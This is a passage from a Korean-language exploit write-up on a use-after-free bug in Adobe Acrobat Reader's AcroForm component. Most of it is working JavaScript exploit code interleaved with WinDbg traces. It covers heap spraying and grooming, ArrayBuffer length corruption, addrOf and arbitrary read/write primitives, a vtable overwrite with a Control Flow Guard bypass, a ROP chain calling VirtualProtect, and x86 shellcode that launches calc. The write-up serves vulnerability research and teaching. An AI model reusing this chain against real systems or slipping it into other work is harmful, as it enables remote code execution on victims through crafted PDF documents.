  }
  else
  {
    if ( *this == 0x14 )
    {
      v4 = (_DWORD *)std::map<unsigned short,CAgg>::operator[](this[2], (int)v14, v12);
    }
    else
    {
      CAgg::Convert((int)this, (_DWORD *)0x14);
      v4 = (_DWORD *)std::map<unsigned short,CAgg>::operator[](this[2], (int)a2a, &someID);// this->map
    }
    result = *v4 + 24;
  }
  return result;
}

힙 그루밍이 성공적으로 이루어진 상태에서는 EScript_ESObjectEnum_CallbackProc에서 아래처럼 공격자에 의해 컨트롤되는 메모리를 사용해서 CAgg::operator[]함수를 호출합니다.

eax=00001b36 ebx=00000000 ecx=2909d478 edx=10e60da0 esi=71eaef50 edi=2909d478
eip=63ac2a4b esp=0457ac14 ebp=0457ac28 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
AcroForm!DllUnregisterServer+0x69eb:
63ac2a4b e83b410000      call    AcroForm!DllUnregisterServer+0xab2b (63ac6b8b)
0:000> dd ecx // ecx+8 == this->map
2909d478  4e4e4d4d 50504f4f *20000058* 54545353
2909d488  56565555 58585757 5a5a5959 5c5c5b5b
2909d498  5e5e5d5d 60605f5f 00006161 00000000
2909d4a8  b0fe1536 8c002000 42424141 44444343
2909d4b8  46464545 48484747 4a4a4949 4c4c4b4b
2909d4c8  4e4e4d4d 50504f4f 20000058 54545353
2909d4d8  56565555 58585757 5a5a5959 5c5c5b5b
2909d4e8  5e5e5d5d 60605f5f 00006161 00000000

std::map<unsigned short,CAgg>::operator[]호출에 사용되는 this->map은 힙 스프레이를 통해 0x20000048에 할당된 아래의 ArrayBuffer를 가리키고 있고 0x20000048에 0x10 바이트의 헤더가 위치해있으며 0x20000058부터 데이터가 위치하고 이는 공격자에 의해 사전에 구성되었습니다.

0:000> dd 0x20000048
20000048  00000000 0000ffe8 17c7bbe0 00000000
20000058  20000060 41424345 41424344 20000044 // 20000058 : this->map
20000068  33333333 33333333 33333333 33333333
20000078  33333333 33333333 00000000 00000000

위 데이터 중 ArrayBuffer의 길이를 나타내는 부분은 오프셋 + 0x4인 0x2000004c로 std::map<unsigned short,CAgg>::operator[]에서 0x20000058에 구성된 fake map을 사용하여 호출되는 lower_boundinsert에 의해 변조됩니다.

std::map::operator[]

int __thiscall std::map<unsigned short,CAgg>::operator[](TREE_VAL *this, int a2, unsigned __int16 *pSomeID)
{
	...
	int v8[3]
  ...
  std::map<unsigned short,CAgg>::lower_bound(this, v8, pSomeID);
  v4 = v9;
  if ( sub_208E95F2(v9, pSomeID) )
  {
    ...
  }
  else
  {
    if ( this->_Mysize == 0x38E38E3 )
      Throw_tree_length_error();
    ...
    *(_DWORD *)a2 = std::map<unsigned short,CAgg>::insert(this, v8[0], (int)v8[1], Parent);
    ...
  }
  return result;
}

먼저 호출되는 lower_bound에서 아래의 코드가 실행되어 두 번째 인자(a2)로 전달한 v8에 데이터를 씁니다.

std::map::lower_bound

_DWORD *__thiscall std::map<unsigned short,CAgg>::lower_bound(int this, int *a2, int *a3)
{
  int Myhead; // eax
  int Parent; // ecx
  unsigned __int16 v5; // si
  int v6; // eax
                                                // TREE_VAL *this
  Myhead = *(_DWORD *)this;                     // this->_Myhead;
  //    mov     eax,dword ptr [ecx]  ds:002b:20000058=20000060
  Parent = *(_DWORD *)(*(_DWORD *)this + 4);    // this->_Myhead->_Parent
  //    mov     ecx,dword ptr [eax+4] ds:002b:20000064=20000044
  a2[1] = 0;
  *a2 = Parent;
  a2[2] = Myhead;
  ...
  return a2;                                    
}

Myhead에는 this(0x20000058)에서 데이터를 읽어 0x20000060이 저장되고 Myhead->_Parent(0x20000064)에 저장된 0x20000044가 Parent에 저장됩니다. lower_bound의 호출 결과 두 번째 인자로 전달한 v8의 0, 1, 2 인덱스에 각각 Parent(0x20000044), 0, Myhead(0x20000060) 값이 쓰입니다.

std::map::insert

int __thiscall std::map<unsigned short,CAgg>::insert(int *this, int *a2, int *a3, int *a4)
{
  int *Myhead; // ebx
  int *v5; // esi
  int *v6; // edi
  int v8; // eax
  int *v9; // edx
  int v10; // ecx

  ++this[1];                                    // ++this->_Mysize;
  Myhead = (int *)*this;                        // this->_Myhead
  v5 = a4;
  a4[1] = (int)a2;                              // a4->_Parent = a2
  if ( a2 != Myhead )
  {
    if ( a3 )// a3 == 0
    {
      ...
    }
    else
    {
	    a2[2] = (int)a4;
      if ( a2 == (int *)Myhead[2] )
        Myhead[2] = (int)a4;
    }
    ...
  }
  ...
}

두 번째 인자(a2)는 lower_bound에서 v8[0]에 쓰인 Parent(0x20000044)입니다.세 번째 인자(a3)은 lower_bound에서 쓰인 0이기 때문에 else로 분기합니다. 여기서 a2[2] = (int)a4;가 실행되면서 Parent + 8(0x2000004c)에 어떤 메모리의 주소가 쓰이게 됩니다.

eax=20000044 ebx=20000060 ecx=20000058 edx=291a1bf8 esi=291a1bf8 edi=20000058
eip=6385bccf esp=0457ab88 ebp=0457ab94 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
AcroForm!hb_set_invert+0x3d1f:
6385bccf 897008          mov     dword ptr [eax+8],esi ds:002b:2000004c=0000ffe8

Parent + 8ArrayBuffer의 length가 위치한 주소를 가리키고 있고 메모리 주소는 일반적으로 원래의 크기인 0xffe8보다 훨씬 큽니다. 따라서 해당 ArrayBuffer를 통해 OOB Read/Write가 가능하게 됩니다.

Javascript code

아래는 위 과정을 수행하여 OOB Read/Write에 사용하는 ArrayBuffer를 생성하는 Javascript 코드입니다.

/*
....
*/
const ALLOC_SIZE = 0x10000 - 24;
const ARR_BUF_BASE = 0x20000048;
const ARR_BUF_MALLOC_BASE = 0x20000040;

const arrBufPtr = ARR_BUF_BASE + 0x10;

const FAKE_STR_START = 0x40;
const FAKE_STR = arrBufPtr + 0x100;
const FAKE_DV_START = 0x60;
const FAKE_DV = arrBufPtr + 0x180;
/*
....
*/
function groomLFH(size, count) {
    var code =
        "%u4141%u4242%u4343%u4444%u4545%u4646%u4747%u4848%u4949%u4a4a%u4b4b%u4c4c%u4d4d%u4e4e%u4f4f%u5050%u0058%u2000%u5353%u5454%u5555%u5656%u5757%u5858%u5959%u5a5a%u5b5b%u5c5c%u5d5d%u5e5e%u5f5f%u6060%u6161%u6262%u6363%u6464%u6565%u6666%u6767%u6868%u6969%u6a6a%u6b6b%u6c6c%u6d6d%u6e6e%u6f6f%u7070%u7171%u7272%u7373%u7474%u7575%u7676%u7777%u7878%u7979%u7a7a%u7b7b%u7c7c%u7d7d%u7e7e%u7f7f%u8080%u8181%u8282%u8383%u8484";
    var string = unescape(code);

    for (var i = 0; i < count; i++) {
        chunks.push(string.substr(0, (size - 2) / 2).toUpperCase());
    }

    for (var i = 0; i < chunks.length; i += 2) {
        chunks[i] = null;
        delete chunks[i];
    }
}

function sprayArrBuffers() {
    for (var i = 0; i < 0x1500; i++) {
        bufs[i] = new ArrayBuffer(ALLOC_SIZE);
        const uintArr = new Uint32Array(bufs[i]);
        for (var k = 0; k < 16; k++) {
            uintArr[k] = 0x33333333;
        }
        uintArr[0] = arrBufPtr + 8; //first deref a = *ecx
        uintArr[1] = 0x41424344; //map size
        uintArr[2] = 0x41424344;
        uintArr[3] = ARR_BUF_BASE - 4;

        // fake string for arbitrary read
        uintArr[FAKE_STR_START] = 0x102; //type
        uintArr[FAKE_STR_START + 1] = arrBufPtr + 0x40; // buffer
        uintArr[FAKE_STR_START + 2] = 0x4;
        uintArr[FAKE_STR_START + 3] = 0x4;

        // fake dataview for arbitrary write
        uintArr[FAKE_DV_START] = 0x77777777;
        delete uintArr;
        uintArr = null;
    }

    for (var i = 0; i < 0x10; i++) {
        arrs[i] = new Array(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 17, 18, 19, 20, 21, 22, 23, 24, 25, 20, 21, 22, 23, 24, 25, 20, 21, 22, 23, 24, 25, 20, 21, 22, 23, 24, 25, 20, 21, 22, 23, 24, 25, 20, 21, 22, 23);
        arrs[i][0] = 0x47484950;
        arrs[i][1] = targetStr;
        arrs[i][2] = targetDV;
        for (var k = 3; k < 5000; k++) {
            arrs[i][k] = 0x50515051;
        }
    }
}

console.println("[*] spraying array buffer...");

sprayArrBuffers();

console.println("[*] pre-populating LFH...");

groomLFH(68, 5000);

/*
Trigger the Bug
*/

sprayArrBuffers함수에서는 0xffe8 크기를 가지는 ArrayBuffer를 스프레이하는 것으로 0x20000048에 ArrayBuffer가 할당되게 만듭니다. 또한 ArrayBuffer에서 OOB Read/Write로 접근할 Array를 스프레이하여 인접한 주소에 할당하고 이는 추후에 임의 주소 읽기/쓰기에 사용됩니다.

스프레이되는 ArrayBuffer에는 std::map<unsigned short,CAgg>::lower_boundstd::map<unsigned short,CAgg>::insert의 동작에 의해 length가 덮어 쓰이도록 페이로드를 구성합니다. 이후 groomLFH 함수에서 String 데이터 할당을 통해 힙 그루밍을 수행합니다. 이 문자열 데이터에는 %u0058%u2000이 포함되어 있고 unescape로 인해 fake map의 주소인 0x20000058로 변경됩니다.

버그가 트리거된 이후 groomLFH에서 스프레이된 문자열이 변환된 CAgg오브젝트들은 다시 변환을 거치게 되는데 이때 문자열 데이터를 옮길 메모리를 할당합니다. brute-force로 알아낸 크기인 68로 힙 그루밍을 진행하면 이 과정에서 Use-After-Free가 발생하는 메모리를 재할당하여 fake map의 주소를 위치시킬 수 있습니다.

2. Out-of-Bounds Read/Write via Corrupted ArrayBuffer

length가 변조된 ArrayBuffer를 사용한 OOB Read/Write로 다른 오브젝트를 변조하여 추후에 Arbitrary Address Read/Write에 사용합니다. 이를 위해 아래의 코드를 통해 변조된 길이를 가지는 ArrayBuffer를 찾습니다.

var arrStart = 0;
var corruptedTypedArr = null;

var originalTargetStrAddr = 0,
    originalTargetDVAddr = 0;

for (var i = 0; i < bufs.length; i++) {
    if (bufs[i].byteLength != ALLOC_SIZE) {
        console.println(
            "[+] corrupted array buffer found at " +
                i +
                " : length: " +
                bufs[i].byteLength +
                " : buf length: " +
                bufs.length
        );
        const uintArr = new Uint32Array(bufs[i]);

        console.println("[*] checking leaked global array...");

        for (var x = ((bufs.length - i) * 0xfff8) / 4; x < uintArr.length; x++) {
            if (uintArr[x] == 0x47484950) {
                arrStart = x - 4;
                console.println("[*] leaked global array found at index:" + arrStart);
                break;
            }
        }

        // store for recovery
        originalTargetStrAddr = uintArr[arrStart + 6];
        originalTargetDVAddr = uintArr[arrStart + 8];

        // corrupt for further primitives
        uintArr[arrStart + 4] = 0x47484951;
        uintArr[arrStart + 6] = FAKE_STR;
        uintArr[arrStart + 8] = FAKE_DV;

        corruptedTypedArr = uintArr;

        break;
    }
}

스프레이된 ArrayBuffer들의 length를 검사하여 할당에 사용한 크기인 ALLOC_SIZE(0xffe8)와 같은지 비교하는 것으로 OOB Read/Write가 발생하는 corruptedTypedArr를 찾아낼 수 있습니다.

이를 통해 sprayArrBuffers 함수에서 스프레이된 인접한 Array들에 접근할 수 있고 스프레이된 Array에는 아래와 데이터가 저장되어 있습니다

24188270  00000000 00000f80 00000f80 00000f80  ................
24188280  47484950 ffffff81 0db3c420 ffffff85  PIHG.... .......
24188290  0dda27c0 ffffff87 50515051 ffffff81  .'......QPQP....
241882a0  50515051 ffffff81 50515051 ffffff81  QPQP....QPQP....
241882b0  50515051 ffffff81 50515051 ffffff81  QPQP....QPQP....
241882c0  50515051 ffffff81 50515051 ffffff81  QPQP....QPQP....
241882d0  50515051 ffffff81 50515051 ffffff81  QPQP....QPQP....
241882e0  50515051 ffffff81 50515051 ffffff81  QPQP....QPQP....

Array에는 데이터 값만 저장되는 ArrayBuffer와 달리 각 4바이트의 데이터 값과 타입을 나타내는 태그 값으로 이루어진 jsval이 저장됩니다.

아래는 Adobe Acrobat Reader에서 사용하는 Javascript 엔진인 SpiderMonkey에서 jsval을 표현하는 방식을 나타낸 그림입니다.

Untitled

그림.1: 출처 Slide 10

이를 참고하여 Array에 저장된 데이터를 분석하면 0db3c420 ffffff85는 문자열인 targetStr이고 0dda27c0 ffffff87는 DataView인 targetDV인 것을 알 수 있습니다.

Corrupt Sparyed Array

먼저 변조된 ArrayBuffer를 통해 인접한 Array를 찾기 위해 OOB Read를 활용합니다.

OOB Read로 읽은 데이터를 Array[0]에 위치한 0x47484950과 비교하는 것을 통해 스프레이된 Array임을 식별할 수 있고 OOB Read에 사용된 인덱스에서 4를 빼서 Array 오브젝트가 위치한 주소에 접근하기 위한 인덱스 arrStart에 저장합니다.

이후 아래의 코드를 통해 Array에 접근하여 targetStrtargetDV를 가리키는 부분을 각각 FAKE_STRFAKE_DV로 변조합니다.

originalTargetStrAddr = uintArr[arrStart + 6];// corrupted ArrayBuffer
originalTargetDVAddr = uintArr[arrStart + 8];

// corrupt for further primitives
uintArr[arrStart + 4] = 0x47484951;
uintArr[arrStart + 6] = FAKE_STR; // 0x20000058 + 0x100
uintArr[arrStart + 8] = FAKE_DV; //0x20000058 + 0x180

corruptedTypedArr = uintArr;

FAKE_STRFAKE_DV는 변조된 ArrayBuffer의 데이터 시작 주소인 0x20000058로부터 각각 0x100, 0x180 만큼 떨어진 위치에 구성합니다.

3. AddrOf & poi Primitives

AddrOf Primitive

임의의 Javascript 오브젝트의 주소를 유출하기 위한 addrof를 변조된 ArrayBuffer(corruptedTypedArr)와 Array(modifiedArr)를 통해 구현할 수 있습니다.

var modifiedArr = null;

for (var i = 0; i < arrs.length; i++) {
    if (arrs[i][0] == 0x47484951) {
        modifiedArr = arrs[i];
        break;
    }
}

function addrOf(obj) {
    modifiedArr[0] = obj;
    addr = corruptedTypedArr[arrStart + 4];
    return addr;
}

위 코드에서는 스프레이된 Array들을 순회하며 Array[0]이 원본인 0x47484950이 아니라 변조된 0x47484951인 Array를 찾아내고 이를 modifiedArr에 대입합니다. corruptedTypedArr[arrStart + 4]로 데이터를 읽으면 modifiedArr[0]에 저장된 jsval의 데이터가 읽히게 됩니다.

addrOf 함수에서는 이를 이용하여 modifiedArr[0]에 주소를 유출할 오브젝트를 대입하고 corruptedTypedArr[arrStart + 4]로 여기에 쓰인 오브젝트의 주소를 읽어 반환합니다.

poi Primitive

modifiedArr[1]은 원본 String 오브젝트가 아닌 corruptedTypedArr에 구성된 Fake String을 가리키고 있습니다. 이를 이용하면 임의의 주소에서 데이터를 문자열로 읽어오는 것이 가능합니다

const FAKE_STR_START = 0x40;

function s2h(s) {
    var n1 = s.charCodeAt(0);
    var n2 = s.charCodeAt(1);
    return ((n2 << 16) | n1) >>> 0;
}

function poi(addr) {
    // leak values at addr by setting it to string ptr
    corruptedTypedArr[FAKE_STR_START + 1] = addr;
    val = s2h(modifiedArr[1]);
    return val;
}

poi함수에서는 corruptedTypedArr에 구성된 Fake String의 문자열 데이터를 가리키는 포인터를 데이터를 읽을 주소로 바꿉니다. 이후 modifiedArr[1]에 접근하면 Fake String이 반환되고 변조된 주소에 위치한 문자열을 s2h함수를 통해 숫자로 변환합니다.

4. Arbitrary Address Read/Write Primitive

위에서 구현된 addrOf, poi로 Fake DataView를 구성하고 이를 통해 임의 주소 읽기/쓰기를 위한 AAR, AAW 함수를 구현할 수 있습니다.

var targetDV = new DataView(new ArrayBuffer(0x64));
targetDV.setUint32(0, 0x55555555, true);
const FAKE_DV_START = 0x60;
//....

var targetDVPtr = addrOf(targetDV);
console.println("[+] target dataview address: " + targetDVPtr.toString(16));

for (var k = 0; k < 32; k++) {
    corruptedTypedArr[FAKE_DV_START + k] = poi(targetDVPtr + k * 4);
}

function AAR(addr) {
    corruptedTypedArr[FAKE_DV_START + 20] = addr;
    return modifiedArr[2].getUint32(0, true);
}

function AAW(addr, value) {
    corruptedTypedArr[FAKE_DV_START + 20] = addr;
    modifiedArr[2].setUint32(0, value, true);
}

Fake DataView를 구성하기 위해 먼저 addrOf로 원본 DataViewtargetDV의 주소(targetDVptr)을 알아냅니다. 이후 원본의 데이터를 poi로 읽어 corruptedTypedArr[FAKE_DV_START]에 복제하여 Fake DataView를 사용할 때 의도치 않은 동작이 발생하지 않게 합니다.

AAR, AAW 함수에서는 corruptedTypedArr[FAKE_DV_START + 20]에 위치한 DataViewArrayBuffer 포인터를 읽거나 쓸 주소로 변조합니다. 최종적으로 modifiedArr[2]로 Fake DataView에 접근하여 setUint32getUint32 메소드를 호출하면 임의의 주소에서 4바이트의 데이터를 읽거나 쓰는 것이 가능해집니다.

5. Insert ROP Payload

addrOf, AAR, AAW 함수를 사용하여 베이스 주소 등 필요한 데이터를 유출하고 ROP 페이로드를 작성하고 vtable을 변조하여 삽입한 페이로드가 실행되도록 만듭니다.

Leak AcroForm Base Address

먼저 ROP 가젯들의 주소를 계산하기 위해 AAR함수로 textFieldf0로부터 AcroForm.API의 베이스 주소를 유출합니다. 이후 변조할 field의 vtable의 주소를 알아내고 Fake DataView를 구성할 때와 마찬가지로 vtable의 데이터를 읽어 corruptedTypedArr이 위치한 0x20000158(arrBufPtr + 0x100)에 복제합니다.

const arrBufPtr = 0x20000048 + 0x10;
var AcroFormApiBase =
    AAR(AAR(addrOf(f0) + 0x10) + 0x34) - VersionData[curAppVersion]["AcroFormOffset"];
console.println("[+] AcroForm base leaked: " + AcroFormApiBase.toString(16));

var fieldVtblAddr = AAR(AAR(AAR(AAR(addrOf(f0) + 0x10) + 0x10) + 0xc) + 4);
var fieldVtbl = AAR(fieldVtblAddr);

console.println(
    "[+] field vTable Addr: " +
        fieldVtblAddr.toString(16) +
        " | fieldVtable: " +
        fieldVtbl.toString(16)
);
````
console.println("[*] clone field vtable for overwriting defaultValue pointer");

for (var i = 0; i < 32; i++) AAW(arrBufPtr + 0x100 + i * 4, AAR(fieldVtbl + i * 4));

var originalDefaulValFunc = AAR(arrBufPtr + 0x100 + 0x48);

Building ROP Chain : CFG Bypass

ROP = VersionData[curAppVersion]["ROP"];
AAW(arrBufPtr + 0x100 + 0x48, AcroFormApiBase + ROP[0]); // ROP_s = AcroForm!sub_20EFAA60 ;
AAW(arrBufPtr + 0x100 + 0x30, AcroFormApiBase + ROP[1]); // xchg eax, esp ; ret ;
AAW(arrBufPtr + 0x100, AcroFormApiBase + ROP[2]); // pop esp ; ret ;
AAW(arrBufPtr + 0x100 + 4, arrBufPtr + 0x300); // pivot to our _stack
AAW(fieldVtblAddr, arrBufPtr + 0x100); // overwrite field vtable to our ROP start

console.println("[*] storing recovery context!");
AAW(arrBufPtr + 0x300 + 0x60, fieldVtblAddr); // original vtable ptr (goes back in ecx)
AAW(arrBufPtr + 0x300 + 0x64, fieldVtbl); // vtable funcs ptr
AAW(arrBufPtr + 0x300 + 0x68, originalDefaulValFunc); // original defaultVal impl to jump to
AAW(arrBufPtr + 0x300 + 0x6c, AAR(ARR_BUF_BASE + 8)); // corrupted arrbuf typed array ptr
AAW(arrBufPtr + 0x300 + 0x70, AAR(ARR_BUF_MALLOC_BASE)); // malloc header 0
AAW(arrBufPtr + 0x300 + 0x74, AAR(ARR_BUF_MALLOC_BASE + 4)); // malloc header 1

var rop = [
    AAR(AcroFormApiBase + VersionData[curAppVersion]["VirtualProtect"]), // VirtualProtect
    arrBufPtr + 0x400, // return address
    arrBufPtr + 0x400, // buffer
    0x1000, // sz
    0x40, // new protect
    arrBufPtr + 0x540 // old protect
];

for (var i = 0; i < rop.length; i++) AAW(arrBufPtr + 0x300 + 4 * i, rop[i]);

이후 복제된 vtable에 ROP 가젯 주소를 삽입하고 textFieldf0의 vtable 주소를 Fake vtable로 조작합니다. 이후 f0.defaultValue에 접근하면 vtable + 0x48에 위치한 defaultValue 함수가 호출되는데 Fake vtable에서는 아래의 sub_20EFAA60에 해당합니다.

.text:20EFAA60 sub_20EFAA60    proc near               
.text:20EFAA60                                         
.text:20EFAA60                 mov     eax, [ecx]
.text:20EFAA62                 push    0Dh
.text:20EFAA64                 call    dword ptr [eax+30h]
.text:20EFAA67                 retn
.text:20EFAA67 sub_20EFAA60    endp

Adobe Acrobat Reader DC는 CFG(Control Flow Guard)가 활성화되어 있어 vtable을 통한 가상 함수 호출이나 함수 포인터를 통한 호출 등의 간접 호출이 발생할 때 __guard_check_icall_fptr이 가리키는 ntdll!LdrpValidateUserCallTarget이 호출되어 유효한 간접 호출인지 검사하고 그렇지 않을 경우 프로세스가 강제 종료됩니다. 따라서 vtable에 직접 ROP 가젯을 삽입하면 호출에 실패하게 됩니다.

하지만 sub_20EFAA60는 아래의 AXTEFontAccess::vftable’에서 확인할 수 있는 것처럼 간접적으로 호출되는 함수이고 유효한 함수들의 RVA 주소가 저장된__guard_fids_table`에도 존재합니다.

.rdata:211315C0 ; const AXTEFontAccess::`vftable'
.rdata:211315C0 ??_7AXTEFontAccess@@6B@ dd offset sub_20DFFBE0
.rdata:211315C0                                         ; DATA XREF: sub_20DFF7B6+21↑o
.rdata:211315C0                                         ; sub_20DFFAAA+6↑o
                                       ....
.rdata:21131674                 dd offset sub_20EFAA60
                                       ....

따라서 아래와 같이 ntdll!LdrpValidateUserCallTarget의 검사를 통과하고 호출될 수 있습니다

eax=20000158 ebx=00000001 ecx=63eeaa60 edx=0be950e0 esi=63eeaa60 edi=63a89990
eip=63a89a3b esp=0457c170 ebp=0457c19c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
AcroForm!hb_ot_tags_to_script_and_language+0x68f9b:
63a89a3b ff153ca9fc63    call    dword ptr [AcroForm!DllUnregisterServer+0x50e8dc (63fca93c)] ds:002b:63fca93c={ntdll!LdrpValidateUserCallTarget (777c88e0)}
0:000> p
eax=0c7dd54c ebx=00000001 ecx=63eeaa60 edx=00005000 esi=63eeaa60 edi=63a89990
eip=63a89a41 esp=0457c170 ebp=0457c19c iopl=0         nv up ei pl zr na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200247
AcroForm!hb_ot_tags_to_script_and_language+0x68fa1:
63a89a41 8b4dec          mov     ecx,dword ptr [ebp-14h] ss:002b:0457c188=10c7d038
0:000> p
eax=0c7dd54c ebx=00000001 ecx=10c7d038 edx=00005000 esi=63eeaa60 edi=63a89990
eip=63a89a44 esp=0457c170 ebp=0457c19c iopl=0         nv up ei pl zr na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200247
AcroForm!hb_ot_tags_to_script_and_language+0x68fa4:
63a89a44 ffd6            call    esi {AcroForm!DllUnregisterServer+0x42ea00 (63eeaa60)}

이후 호출된 sub_20EFAA60에서 mov eax, [ecx]가 실행되면서 ecx(this)가 가리키는 Fake vtable의 주소(0x20000158)가 eax에 저장됩니다. 이후 call dword ptr [eax + 30h]에 의해 Fake vtable + 0x30에 저장된 stack pivot 가젯이 호출됩니다. sub_20EFAA60에서 발생하는 간접 호출에서는 CFG 검사가 이루어지지 않기 때문에 ROP 가젯을 호출하는 것이 가능하고 이를 통해 CFG를 우회합니다.

eax=0c7dd54c ebx=00000001 ecx=10c7d038 edx=00005000 esi=63eeaa60 edi=63a89990
eip=63eeaa60 esp=0457c16c ebp=0457c19c iopl=0         nv up ei pl zr na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200247
AcroForm!DllUnregisterServer+0x42ea00:
63eeaa60 8b01            mov     eax,dword ptr [ecx]  ds:002b:10c7d038=20000158
0:000> t
eax=20000158 ebx=00000001 ecx=10c7d038 edx=00005000 esi=63eeaa60 edi=63a89990
eip=63eeaa62 esp=0457c16c ebp=0457c19c iopl=0         nv up ei pl zr na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200247
AcroForm!DllUnregisterServer+0x42ea02:
63eeaa62 6a0d            push    0Dh
0:000> t
eax=20000158 ebx=00000001 ecx=10c7d038 edx=00005000 esi=63eeaa60 edi=63a89990
eip=63eeaa64 esp=0457c168 ebp=0457c19c iopl=0         nv up ei pl zr na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200247
AcroForm!DllUnregisterServer+0x42ea04:
63eeaa64 ff5030          call    dword ptr [eax+30h]  ds:002b:20000188=63a46984
0:000> u 63a46984
AcroForm!hb_ot_tags_to_script_and_language+0x25ee4:
63a46984 8be0            mov     esp,eax
63a46986 ffc9            dec     ecx
63a46988 c3              ret

가젯이 실행되면 eax(arrBufPtr + 0x100)값을 esp에 쓰면서 stack pivot이 이루어지고 ret하게 되는데 이때의 esp인 0x20000158에는 아래의 또 다른 stack pivot 가젯의 주소가 저장되어 있어 해당 주소가 실행됩니다.

eax=20000158 ebx=00000001 ecx=10c7d037 edx=00005000 esi=63eeaa60 edi=63a89990
eip=6380e646 esp=2000015c ebp=0457c19c iopl=0         nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200203
AcroForm+0x1e646:
6380e646 5c              pop     esp
0:000> t
eax=20000158 ebx=00000001 ecx=10c7d037 edx=00005000 esi=63eeaa60 edi=63a89990
eip=6380e647 esp=20000358 ebp=0457c19c iopl=0         nv up ei pl nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200203
AcroForm+0x1e647:
6380e647 c3              ret
0:000> dd esp
20000358  757d0760 20000458 20000458 00001000
20000368  00000040 20000598 00000000 00000000

최종적으로 esp는 0x20000358로 바뀌게 되고 한번 더 ret하면서 KERNEL32!VirtualProtectStub 함수의 주소로 eip가 변경되고 pivot된 스택에 구성된 인자들에 의해 VirtualProtect(0x20000458, 0x1000, PAGE_EXECUTE_READWRITE, 0x20000598)를 호출하는 것과 같은 효과가 발생합니다.

6. Insert Shellcode

삽입된 ROP 페이로드에 의해 호출된 VirtualProtect는 실행 권한이 부여된 0x20000458로 리턴하고 이 주소에는 아래의 코드에 의해 shellcode가 삽입되어 있습니다.

var shellcode = [
    // recovery prefix       (store reg context)
    // 0x909090CC,
    0x89e083e8, 0x18535256, 0x57505590,

    // shellcode
    835867240, 1667329123, 1415139921, 1686860336, 2339769483, 1980542347, 814448152, 2338274443,
    1545566347, 1948196865, 4270543903, 605009708, 390218413, 2168194903, 1768834421, 4035671071,
    469892611, 1018101719, 2425393296,

    // recovery suffix
    // 0x909090CC,
    /*restore regs*/ 0x58585d58, /*restore vtable*/ 0x8b48608b, 0x50648911, /*pop regs*/ 0x5f5e5a5b,
    /*restore ebp,esp: 0x89ea83ea, 0x3089d490, */ 0x89ec83ec, 0x30909090, /* esi = fn*/ 0x8b706890,
    /*arrbuf restore*/ 0x53bb4000, 0x00208b50, 0x6cc7430c, 0xe8ff0000, 0xc74220e8, 0xff000090,
    0x8953108b, 0x50708913, 0x8b507489, 0x530431d2, 0x5b909090, /*jmp esi*/ 0xffe69090
    /*jmp defaultVal 0xff606890*/
];

for (var i = 0; i < shellcode.length; i++) AAW(arrBufPtr + 0x400 + i * 4, re(shellcode[i]));

삽입된 shellcode를 디스어셈블한 결과는 아래와 같습니다

89e0           mov     eax, esp
83e818         sub     eax, 18h
53             push    ebx
52             push    edx
56             push    esi
57             push    edi
50             push    eax
55             push    ebp
90             nop     
31d2           xor     edx, edx
52             push    edx; 0
6863616c63     push    636C6163h; "calc"
54             push    esp
59             pop     ecx
52             push    edx
51             push    ecx
648b7230       mov     esi, dword ptr fs:[edx+30h]; PEB
8b760c         mov     esi, dword ptr [esi+0Ch]; PEB_LDR_DATA
8b760c         mov     esi, dword ptr [esi+0Ch]; InLoadOrderModuleList
ad             lods    dword ptr [esi]; eax <- AcroRd32.exe's _LDR_DATA_TABLE_ENTRY
8b30           mov     esi, dword ptr [eax]; esi <- KERNEL32.dll's _LDR_DATA_TABLE_ENTRY
8b7e18         mov     edi, dword ptr [esi+18h]; edi <- KERNEL32 dll base
8b5f3c         mov     ebx, dword ptr [edi+3Ch]; ebx <- PE Headaer Offset
8b5c1f78       mov     ebx, dword ptr [edi+ebx+78h]; ebx <- Export Table Offset
8b741f20       mov     esi, dword ptr [edi+ebx+20h]; esi <- Name Pointer Table offset
01fe           add     esi, edi; add KERNEL32 base to esi(Name Pointer Table addr)
8b541f24       mov     edx, dword ptr [edi+ebx+24h]; edx <- Ordinal Table Offset
0fb72c17       movzx   ebp, word ptr [edi+edx]; ebp <- Ordinal Number
42             inc     edx
42             inc     edx; move to next
ad             lods    dword ptr [esi]; Function name offset
813c0757696e45 cmp     dword ptr [edi+eax], 456E6957h; compare Function_Name with "WinE"
75f0           jne     20000491; if WinExec Found, no jump
8b741f1c       mov     esi, dword ptr [edi+ebx+1Ch]; esi <- Address Table Offset
01fe           add     esi, edi; esi <- Address Table addr
033cae         add     edi, dword ptr [esi+ebp*4]; edi <- edi(KERNEL32 base) + WinExec Offset
ffd7           call    edi; WinExec("calc", 0)

이는 WinExec("calc", 0)를 호출하는 Windows x86 대상 Universal Shellcode로 계산기 프로그램을 실행하여 RCE 익스플로잇을 증명합니다.

마지막으로 WinExec가 리턴한 다음에는 아래와 같은 shellcode가 실행되어 shellcode에 사용된 레지스터를 복구하고 변조된 ArrayBuffer의 length, f0의 vtable 주소, pivot된 스택 등을 복원합니다. 이후 사전에 메모리에 저장해둔 defaultValue 함수의 주소로 jmp하여 익스플로잇이 성공한 후에도 프로세스에서 크래시가 발생하지 않게 만듭니다.

200004b0 58             pop     eax
200004b1 58             pop     eax
200004b2 5d             pop     ebp
200004b3 58             pop     eax
200004b4 8b4860         mov     ecx, dword ptr [eax+60h]
200004b7 8b5064         mov     edx, dword ptr [eax+64h]
200004ba 8911           mov     dword ptr [ecx], edx
200004bc 5f             pop     edi
200004bd 5e             pop     esi
200004be 5a             pop     edx
200004bf 5b             pop     ebx
200004c0 89ec           mov     esp, ebp
